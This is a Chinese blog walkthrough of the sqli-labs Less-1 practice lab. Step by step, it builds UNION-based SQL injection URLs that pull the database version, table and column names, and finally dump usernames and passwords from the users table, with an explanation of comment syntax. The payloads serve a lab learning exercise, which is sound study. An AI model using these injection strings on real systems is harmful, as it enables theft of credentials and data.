sql-libs——less1

目标:获取用户名密码

打开第一关发现没有任何参数,
在这里插入图片描述根据提示“请输入ID作为带有数字值的参数”构造url,正常显示。
在这里插入图片描述加’ 判断有无注入,执行后报错,可判断为数字型注入

在这里插入图片描述使用union查询,查询数据库名及版本

http://192.168.0.5:9002/Less-1/?id=-2' union select 1,version(),database() --+

--+的注释问题

首先明确mysql的注释符号都有哪些
1、#
2、-- 注意--后面有一个空格
3、/*...*/

首先我们查看一下这个源码sql语句为

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们的输入为id 带入查询语句的话则是

SELECT * FROM users WHERE id='2'union select 1,2,3' LIMIT 0,1;

可以看到该SQL语句多出一个'所以无法执行成功,因此我们需要通过注释符将其后边的内容进行注释。
1.为什么不使用#
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括##号改成url的编码%23就可以了
2.为什么并不使用--而是使用--+
因为带入执行的sql语句 --与后面的这个单引号连接在一起,--后加空格才能起到注释作用,使用--+执行的SQL语句中+变成了空格所以注释符才能起到作用。
当然报错的原因是'没有闭合,只要把单引号闭合语句就可以执行。

这里说一下为什么id的参数要为-1、-2

首先我们查看一下这个源码sql语句为

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看到带入执行的SQL语句为:

$sql="SELECT * FROM users WHERE id='2' union select 1,version(),database() --+' LIMIT 0,1";

union用于合并两个或多个 SELECT 语句所以同时执行的语句为

语句1:SELECT * FROM users WHERE id='2'
语句2:select 1,version(),database()

同时返回语句结果,但是在页面 上只有两个位置所以两个位置只能显示语句1,语句2无法显示;
所以我们需将语句1通过id=-1或者 id=1 and 1=2等方式使其无法获得数据,则页面返回语句2的执行结果
在这里插入图片描述

爆表名
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,group_concat(table_name),3 from%20information_schema.tables where table_schema=database() --+

在这里插入图片描述爆字段
http://192.168.0.5:9002/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
获取表的内容

http://192.168.0.5:9002/Less-1/?id=-2' union select  1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

midsummer_woo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值